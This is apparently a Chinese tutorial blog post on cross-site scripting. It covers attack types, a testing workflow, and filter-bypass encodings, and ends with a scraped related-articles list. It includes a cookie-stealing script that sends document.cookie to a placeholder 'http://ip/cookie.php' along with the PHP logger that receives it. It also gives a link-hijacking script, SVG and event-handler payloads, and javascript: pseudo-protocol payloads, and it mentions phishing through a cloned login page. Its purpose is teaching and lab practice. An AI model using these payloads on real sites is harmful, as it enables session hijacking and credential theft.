当前位置: 首页 > news >正文

WEB系列(二)-----------XSS

XSS原理及基础

定义

恶意攻击者会往Web页面里插入JS代码,当用户点击网页时.镶嵌的JS代码就会执行,从而达到恶意的特殊目的.

原因

程序对输入和输出的控制不够严格,导致payload输出到前段时被浏览器当做有效代码执行从而产生危害。

分类

  1. 存储型
  2. 反射型
  3. DOM型

测试流程

  1. 目标站点找到输入点,
  2. 输入一组特殊字符+唯一识别字符,点击提交后,查看源码。先看看网页对特殊字符做了哪些过滤。
  3. 通过搜索定位到唯一的字符,确认是否可以构造js的条件
  4. 提交构造的脚本代码,看是否可以成功执行
    tips
  5. 查询接口容易出现反射型XSS,留言板容易出现存储型XSS
  6. 绕过过滤机制

存储型XSS原理

攻击者在页面上插入XSS代码,服务端将数据存入数据库当用户访问到存在XSS漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致XSS代码执行,达到攻击效果.

可能存在的位置:一切用户可以输入的位置

XSS盗取cookie

Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式.Cookie是由Web服务器保存在用户浏览器上的小文本文件.他可以包含有关用户信息.

  1. 存在反射型XSS漏洞的位置,可以利用以下链接来盗取Cookie(dvwa,xss low):
url?uname=<script>document.location='http://ip/cookie.php?cookie='+document.cookie</script>#cookie.php
<?php  
$cookie = $_GET['cookie'];
file_put_contents("cookie.txt", $cookie);
echo "ok";
?>

在这里插入图片描述劫持会话后可以进一步利用漏洞,修改配置文件

XSS篡改网页链接

篡改链接

<script>
window.onload=function(){
var link = document.getElementsByTagName("a");
for(j=0;j<link.length;j++){
link[j].herf="http://ip";
}
}
</script>apt-get install beef-xss

###XSS盗取用户信息
克隆网站登录页面,利用存储XSS设置跳转代码,如果用户访问即跳转到克隆网站的登录页面,用户输入登录,账号和密码被存储。

主要是用setookie,但是新版的Kali不能用。

探测XSS过程

  1. 构造一个不会被识别成恶意代码的字符串
  2. 查找该字符串的位置。
  3. 构造XSSpayload

属性中的XSS

xss事件
1.鼠标点击相应位置时,触发弹框。

onmouseover=alert(document.domain)>

选择列表的XSS

隐性参数XSS

SVG介绍

SVG意为可缩放矢量图形,使用XML格式定义图像。
可以通过,,,svg标签插入HTML文档。

<svg onload=····>

在这里插入图片描述注入点在一个被隐藏的位置,burp抓包后。
在这里插入图片描述

"><svg /onload=alert(document.domain)>%0a

HTML事件

  1. onlink:当鼠标点击时运行脚本。
  2. ondblclick:当双击鼠标运行脚本
  3. ondrag:当拖动元素时运行脚本
  4. ondragend:当拖动操作结束时运行脚本
  5. ondragenter:当元素被拖动至有效的拖放目标时运行脚本
  6. ondragleave:当元素离开有效拖放目标时运行脚本
  7. ondragover:当元素被拖放至有效目标上方时运行
  8. ondragstart:当拖动操作开始时运行脚本
  9. ondrop:当拖动元素正在被拖放时运行脚本
  10. onmousedown
  11. onmousemove
  12. onmouseout
  13. onmouseover
  14. onmouseup
  15. onmousewheel:当鼠标滚轮时运转
  16. onscroll

空格可以引发属性
在这里插入图片描述## JavaScript伪协议
javascript:js代码

javascript:alert('hello')

在这里插入图片描述伪协议XSS

"><a herf="javascript:alert(document.domain)">xss</a>r经过·html编码
"><a href="java&#115;cript:alert(document.domain)">1</a>

在IE中``可以闭合一个双引号,双写绕过,html编码绕过,unicode编码绕过。

  1. htmlspecialchars():把预定义的字符转换为HTML实体。```&,<,>,',"`````
  2. strip_tags():剥去字符串中HTML,PHP,XML的标签,并不是转换。
  3. htmlentities()可以处理用户输入防止XSS
  4. JS编码:数字形式\u后面加4位16进制数字或\x2位16进制数字
  5. HTML编码:实体编码一般以"&“开头”;“结尾,进制编码通常以”&#“开头加上字符的数值,”;"结尾,字符的数值可以是任意十进制ascii码或者unicode字符编码,十六进制需要在编码前加’x’.@
  6. 进制编码:十进制编码,String.fromChareCode(97,86),十六进制编码(“\x87\x65”),unicode编码(“\u0012\u0045”).
  7. url编码:%+十六进制
    进行编码是为了绕过某些xss_filter

XSS绕过

https://owasp.org/www-community/xss-filter-evasion-cheatsheet

XSS发生的位置

  1. GET:如果在URL中提交的参数中能够在页面中显示,就可能会有XSS。
  2. POST
  3. JSON
  4. 自定义http头中

XSS工具

  1. xsser
  2. xsstrike
http://www.lryc.cn/news/12812.html

相关文章:

  • [python入门㊾] - python异常中的断言
  • 一文告诉你什么是财务数据治理?
  • MySQL数据库调优————ORDER BY语句
  • Linux命令之grep
  • 一起学 pixijs(4):如何绘制文字md
  • mac m1设备上安装Qt并使用qt编程遇到的问题以及解决方式
  • tensorflow 学习笔记(二):神经网络的优化过程
  • 【Java】《Java8 实战》 CompletableFuture 学习
  • Vue3之条件渲染
  • 将Nginx 核心知识点扒了个底朝天(四)
  • 设计模式之工厂模式
  • 80.链表-由来
  • 元胞自动机
  • 设计模式之各种设计模式总结与对比
  • JAVA练习55- Fizz Buzz
  • LeetCode笔记:Biweekly Contest 98
  • HNUCM-《算法分析与设计》期末考试考前复习题
  • 算法导论【分治思想】—大数乘法、矩阵相乘、残缺棋盘
  • Java【七大排序】算法详细图解,一篇文章吃透
  • Autosar OS IOC
  • 记录一次Binder内存相关的问题导致APP被杀的BUG排查过程
  • 设计模式(十)----结构型模式之适配器模式
  • 【数据结构】——队列
  • Android OTA升级常见问题的解决方法
  • 说说Hibernate
  • 目标检测论文阅读:DETR算法笔记
  • Golang sync.Once 源码浅析
  • C++面向对象(上)
  • 经常用但是不知道什么是BFC?
  • GO的临时对象池sync.Pool